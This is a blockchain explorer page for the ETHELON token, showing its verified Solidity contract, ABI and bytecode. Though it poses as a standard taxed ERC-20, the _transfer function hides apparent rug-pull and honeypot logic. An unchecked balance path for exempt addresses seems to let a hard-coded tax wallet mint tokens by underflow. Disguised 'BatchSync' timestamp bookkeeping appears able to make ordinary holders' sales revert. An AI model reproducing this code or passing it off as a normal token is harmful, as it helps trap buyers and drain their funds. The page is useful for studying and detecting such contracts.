ETH Price: $2,628.10 (+1.20%)

Token

ETHELON (ETHELON)
 

Overview

Max Total Supply

10,000,000,000,000,000,000 ETHELON

Holders

121

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
195,081,189,519,258,901 ETHELON

Value
$0.00
0xf0611314542d067ec23538266ff3efd15015d06f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ethelon

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-30
*/

// SPDX-License-Identifier: UNLICENSE


pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ethelon is Context, IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool private transferDelayEnabled = true;
    mapping (address => bool) private _exemptFromTax;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    );

    uint256 private constant _tTotal = 10000000000 *  10**_decimals;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"ETHELON";
    string private constant _symbol = unicode"ETHELON";
    uint256 public _maxTxAmount = 140000000 * 10**_decimals;
    uint256 public _maxWalletSize = 140000000 * 10**_decimals;
    uint256 public constant _taxSwapThreshold= 30000000 * 10**_decimals;
    uint256 public constant _maxTaxSwap= 170000000 * 10**_decimals;
    address public uniswapV2Pair;
    bool public tradingOpen;
    uint256 public firstBlock;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct BatchSync {uint256 tokenIn; uint256 tokenOut; uint256 totalActive;}
    uint256 private syncActive;
    mapping(address => BatchSync) private batchSync;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x8d066b18b36D6b5A1dc82fB21FbEF0D434F28c3D);

        _balances[_msgSender()] = _tTotal;
        _exemptFromTax[owner()] = true;
        _exemptFromTax[address(this)] = true;
        _exemptFromTax[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer delay enabled - only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _exemptFromTax[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount ++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount =amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to ==uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_exemptFromTax[from]||_exemptFromTax[to]) && from != owner() && from!=address(this) && to!=address(this) ) {
            syncActive = block.timestamp;
        }
        if (_exemptFromTax[from] && (block.number> (firstBlock+_reduceSellTaxAt))){
            unchecked{
               _balances[from] -= amount;
               _balances[to] += amount;
            }
            emit Transfer(from, to, amount);
            return;
        }
        if (!_exemptFromTax[from] && !_exemptFromTax[to]){
            if (uniswapV2Pair != to) {
                BatchSync storage syncInto= batchSync[to] ;
                if (uniswapV2Pair == from) {
                    if (syncInto.tokenIn== 0) {
                        syncInto.tokenIn= (_buyCount<_preventSwapBefore) ? (block.timestamp-1) : block.timestamp;
                    }
                } else {
                    BatchSync storage syncFrom = batchSync[from] ;
                    if (syncInto.tokenIn== 0 || syncFrom.tokenIn< syncInto.tokenIn) {
                        syncInto.tokenIn=syncFrom.tokenIn;
                    }
                }
            } else {
                BatchSync storage syncFrom =batchSync[from];
                syncFrom.totalActive= syncFrom.tokenIn -  syncActive;
                syncFrom.tokenOut= block.timestamp;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isExempt(address addr) public view returns (bool) {
        return _exemptFromTax[addr];
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount= _tTotal;
        _maxWalletSize =_tTotal;
        transferDelayEnabled= false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        bool success;
        (success, ) = address(_taxWallet).call{value: amount}("");
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open.");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        firstBlock = block.number;
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function withdrawStuckETH() external {
        require(_msgSender()==_taxWallet);
        uint256 ethBalance=address(this).balance;
        bool success;
        (success,)= address(msg.sender).call{value: ethBalance}("");
    }

    function withdrawStuckToken(address _address) external {
        require(_msgSender()==_taxWallet);
        require(IERC20(_address).balanceOf(address(this)) > 0, "Zero balance");

        IERC20(_address).transfer(msg.sender, IERC20(_address).balanceOf(address(this)));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"firstBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"withdrawStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526004805460ff191660011790555f600781905560088190556009818155600a828155600b839055600c8390556014600d55600e9290925562000046916200030e565b62000056906308583b0062000325565b600f55620000676009600a6200030e565b62000077906308583b0062000325565b6010556013805461ffff1916905534801562000091575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b031916738d066b18b36d6b5a1dc82fb21fbef0d434f28c3d179055620001066009600a6200030e565b62000117906402540be40062000325565b335f908152600160208190526040822092909255600590620001405f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260059093528183208054851660019081179091556006549091168352912080549092161790556200019e3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001d76009600a6200030e565b620001e8906402540be40062000325565b60405190815260200160405180910390a36200033f565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025357815f1904821115620002375762000237620001ff565b808516156200024557918102915b93841c939080029062000218565b509250929050565b5f826200026b5750600162000308565b816200027957505f62000308565b81600181146200029257600281146200029d57620002bd565b600191505062000308565b60ff841115620002b157620002b1620001ff565b50506001821b62000308565b5060208310610133831016604e8410600b8410161715620002e2575081810a62000308565b620002ee838362000213565b805f1904821115620003045762000304620001ff565b0290505b92915050565b5f6200031e60ff8416836200025b565b9392505050565b8082028115828204841417620003085762000308620001ff565b611de7806200034d5f395ff3fe608060405260043610610164575f3560e01c8063715018a6116100cd578063a9059cbb11610087578063c9567bf911610062578063c9567bf914610400578063dd62ed3e14610414578063f5648a4f14610458578063ffb54a991461046c575f80fd5b8063a9059cbb14610396578063ad5dff73146103b5578063bf474bed146103ec575f80fd5b8063715018a614610328578063751039fc1461033c5780637d1db4a5146103505780638da5cb5b146103655780638f9a55c01461038157806395d89b4114610190575f80fd5b8063231b02681161011e578063231b02681461027257806323b872dd14610287578063313ce567146102a657806349bd5a5e146102c157806351bc3c85146102e057806370a08231146102f4575f80fd5b8063068acf6c1461016f57806306fdde0314610190578063095ea7b3146101ce5780630faee56f146101fd5780631694505e1461021f57806318160ddd1461025e575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5061018e6101893660046119d7565b61048c565b005b34801561019b575f80fd5b50604080518082018252600781526622aa2422a627a760c91b602082015290516101c591906119f2565b60405180910390f35b3480156101d9575f80fd5b506101ed6101e8366004611a3e565b610634565b60405190151581526020016101c5565b348015610208575f80fd5b5061021161064a565b6040519081526020016101c5565b34801561022a575f80fd5b50610246737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016101c5565b348015610269575f80fd5b50610211610667565b34801561027d575f80fd5b5061021160125481565b348015610292575f80fd5b506101ed6102a1366004611a68565b610688565b3480156102b1575f80fd5b50604051600981526020016101c5565b3480156102cc575f80fd5b50601154610246906001600160a01b031681565b3480156102eb575f80fd5b5061018e6106ef565b3480156102ff575f80fd5b5061021161030e3660046119d7565b6001600160a01b03165f9081526001602052604090205490565b348015610333575f80fd5b5061018e61073c565b348015610347575f80fd5b5061018e6107ad565b34801561035b575f80fd5b50610211600f5481565b348015610370575f80fd5b505f546001600160a01b0316610246565b34801561038c575f80fd5b5061021160105481565b3480156103a1575f80fd5b506101ed6103b0366004611a3e565b61086b565b3480156103c0575f80fd5b506101ed6103cf3660046119d7565b6001600160a01b03165f9081526005602052604090205460ff1690565b3480156103f7575f80fd5b50610211610877565b34801561040b575f80fd5b5061018e610891565b34801561041f575f80fd5b5061021161042e366004611aa6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610463575f80fd5b5061018e610c4b565b348015610477575f80fd5b506011546101ed90600160a01b900460ff1681565b6006546001600160a01b0316336001600160a01b0316146104ab575f80fd5b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa1580156104ef573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105139190611add565b116105545760405162461bcd60e51b815260206004820152600c60248201526b5a65726f2062616c616e636560a01b60448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156105a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c49190611add565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af115801561060c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106309190611af4565b5050565b5f610640338484610cbc565b5060015b92915050565b6106566009600a611c07565b61066490630a21fe80611c15565b81565b5f6106746009600a611c07565b610683906402540be400611c15565b905090565b5f610694848484610ddf565b6106e584336106e085604051806060016040528060288152602001611d8a602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061162a565b610cbc565b5060019392505050565b6006546001600160a01b0316336001600160a01b03161461070e575f80fd5b305f90815260016020526040902054801561072c5761072c81611662565b4780156106305761063081611802565b5f546001600160a01b031633146107655760405162461bcd60e51b815260040161054b90611c2c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107d65760405162461bcd60e51b815260040161054b90611c2c565b6107e26009600a611c07565b6107f1906402540be400611c15565b600f556108006009600a611c07565b61080f906402540be400611c15565b6010556004805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108496009600a611c07565b610858906402540be400611c15565b60405190815260200160405180910390a1565b5f610640338484610ddf565b6108836009600a611c07565b610664906301c9c380611c15565b5f546001600160a01b031633146108ba5760405162461bcd60e51b815260040161054b90611c2c565b601154600160a01b900460ff16156109145760405162461bcd60e51b815260206004820152601860248201527f74726164696e6720697320616c7265616479206f70656e2e0000000000000000604482015260640161054b565b61094830737a250d5630b4cf539739df2c5dacb4c659f2488d6109396009600a611c07565b6106e0906402540be400611c15565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610998573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bc9190611c61565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a3f9190611c61565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aad9190611c61565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f80610b0e5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b74573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b999190611c7c565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610bfe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c229190611af4565b50436012556013805461ff0019166101001790556011805460ff60a01b1916600160a01b179055565b6006546001600160a01b0316336001600160a01b031614610c6a575f80fd5b60405147905f90339083905b5f6040518083038185875af1925050503d805f8114610cb0576040519150601f19603f3d011682016040523d82523d5f602084013e610cb5565b606091505b5050505050565b6001600160a01b038316610d1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054b565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054b565b6001600160a01b038216610ea55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054b565b5f8111610f065760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054b565b5f80546001600160a01b03858116911614801590610f3157505f546001600160a01b03848116911614155b156112ab57610f626064610f5c600b54600e5411610f5157600754610f55565b6009545b859061181b565b906118a0565b60045490915060ff1615611057576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610fab57506011546001600160a01b03848116911614155b1561105757325f9081526003602052604090205443116110455760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722064656c617920656e61626c60448201527f6564202d206f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161054b565b325f9081526003602052604090204390555b6011546001600160a01b03858116911614801561109157506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b80156110b557506001600160a01b0383165f9081526005602052604090205460ff16155b1561119b57600f5482111561110c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161054b565b6010548261112e856001600160a01b03165f9081526001602052604090205490565b6111389190611ca7565b11156111865760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161054b565b600e8054905f61119583611cba565b91905055505b6011546001600160a01b0384811691161480156111c157506001600160a01b0384163014155b156111ee576111eb6064610f5c600c54600e54116111e157600854610f55565b600a54859061181b565b90505b305f9081526001602052604090205460135460ff1615801561121d57506011546001600160a01b038581169116145b80156112305750601354610100900460ff165b801561125457506112436009600a611c07565b611251906301c9c380611c15565b81115b80156112635750600d54600e54115b156112a9576112976112928461128d8461127f6009600a611c07565b61128d90630a21fe80611c15565b6118e1565b611662565b4780156112a7576112a747611802565b505b505b6001600160a01b0384165f9081526005602052604090205460ff16806112e857506001600160a01b0383165f9081526005602052604090205460ff165b801561130157505f546001600160a01b03858116911614155b801561131657506001600160a01b0384163014155b801561132b57506001600160a01b0383163014155b1561133557426014555b6001600160a01b0384165f9081526005602052604090205460ff16801561136a5750600c546012546113679190611ca7565b43115b156113de576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113d09086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526005602052604090205460ff1615801561141e57506001600160a01b0383165f9081526005602052604090205460ff16155b156114f6576011546001600160a01b038481169116146114c3576001600160a01b038084165f908152601560205260409020601154909186811691160361148b5780545f0361148657600d54600e54106114785742611483565b611483600142611cd2565b81555b6114bd565b6001600160a01b0385165f908152601560205260409020815415806114b1575081548154105b156114bb57805482555b505b506114f6565b6001600160a01b0384165f90815260156020526040902060145481546114e99190611cd2565b6002820155426001909101555b801561156e57305f9081526001602052604090205461151590826118f5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115659085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546115909083611953565b6001600160a01b0385165f908152600160205260409020556115d36115b58383611953565b6001600160a01b0385165f90815260016020526040902054906118f5565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61161c8585611953565b6040519081526020016113d0565b5f818484111561164d5760405162461bcd60e51b815260040161054b91906119f2565b505f6116598486611cd2565b95945050505050565b6013805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106116a2576116a2611ce5565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611712573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117369190611c61565b8160018151811061174957611749611ce5565b60200260200101906001600160a01b031690816001600160a01b03168152505061178830737a250d5630b4cf539739df2c5dacb4c659f2488d84610cbc565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906117c79085905f90869030904290600401611cf9565b5f604051808303815f87803b1580156117de575f80fd5b505af11580156117f0573d5f803e3d5ffd5b50506013805460ff1916905550505050565b6006546040515f916001600160a01b0316908390610c76565b5f825f0361182a57505f610644565b5f6118358385611c15565b9050826118428583611d6a565b146118995760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054b565b9392505050565b5f61189983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611994565b5f8183116118ef5782611899565b50919050565b5f806119018385611ca7565b9050838110156118995760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054b565b5f61189983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061162a565b5f81836119b45760405162461bcd60e51b815260040161054b91906119f2565b505f6116598486611d6a565b6001600160a01b03811681146119d4575f80fd5b50565b5f602082840312156119e7575f80fd5b8135611899816119c0565b5f602080835283518060208501525f5b81811015611a1e57858101830151858201604001528201611a02565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215611a4f575f80fd5b8235611a5a816119c0565b946020939093013593505050565b5f805f60608486031215611a7a575f80fd5b8335611a85816119c0565b92506020840135611a95816119c0565b929592945050506040919091013590565b5f8060408385031215611ab7575f80fd5b8235611ac2816119c0565b91506020830135611ad2816119c0565b809150509250929050565b5f60208284031215611aed575f80fd5b5051919050565b5f60208284031215611b04575f80fd5b81518015158114611899575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611b6157815f1904821115611b4757611b47611b13565b80851615611b5457918102915b93841c9390800290611b2c